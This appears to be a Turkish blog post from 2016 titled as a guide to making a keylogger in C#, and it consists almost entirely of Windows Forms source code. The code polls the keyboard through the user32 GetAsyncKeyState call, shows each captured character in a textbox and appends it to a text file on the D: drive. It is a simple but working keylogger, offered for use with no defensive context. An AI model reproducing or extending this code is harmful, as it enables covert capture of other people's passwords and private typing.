Facebook Sayfamızı Beğenin

28 Şubat 2016 Pazar

Keylogger Program Yapımı - Csharp

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
using System.IO;
using System.Windows.Forms.ComponentModel.Com2Interop;
 
namespace WindowsFormsApplication1
{
 public partial class Form1 : Form
 {
 public Form1()
 {
 InitializeComponent();
 }
 public class TusKontrol
 {
 [DllImport("user32",CharSet=CharSet.Ansi)]
 public static extern int GetAsyncKeyState(long vKey);
 public static bool TusaBasildiMi(byte Tus)
 {
 if (TusKontrol.GetAsyncKeyState((long)Tus) == System.Int16.MinValue + 1)
 { return true; }
 else
 { return false; }
 }
 
public static void DosyayaYaz(string dosyayolu, string tus)
 {
 StreamWriter file = new StreamWriter(dosyayolu, true);
 file.Write (tus);
 file.Close();
 }
 }
 public class Keylogger
 {
 [DllImport("user32.dll", CharSet = CharSet.Ansi)]
 public static extern int GetAsyncKeyState(long basiLanTus);
 public static bool BasiLdimi(byte Tus)
 {
 if (Keylogger.GetAsyncKeyState((long)Tus) == System.Int16.MinValue + 1)
 {
 return true;
 }
 else
 {
 return false;
 }
 }
 public static void Dosyayazim(string DosyaAdresi, string Tus)
 {
 StreamWriter file = new StreamWriter(DosyaAdresi, true);
 file.Write(Tus);
 file.Close ();
 }
 }
 
private void Form1_Load(object sender, EventArgs e)
 {
 
 }
 
private void timer1_Tick(object sender, EventArgs e)
 {
 
 for (byte i = 0; i < 255; i++)
 {
 if (Keylogger.BasiLdimi(i))
 {string tuss= Convert.ToChar(i).ToString();
 textBox1.Text += tuss;
 Keylogger.Dosyayazim(@"D://Keylogger.Txt", tuss );
 break;
 }
 
 }
 System.Windows.Forms.Application.DoEvents();
 }
 
}

Hiç yorum yok:

Yorum Gönder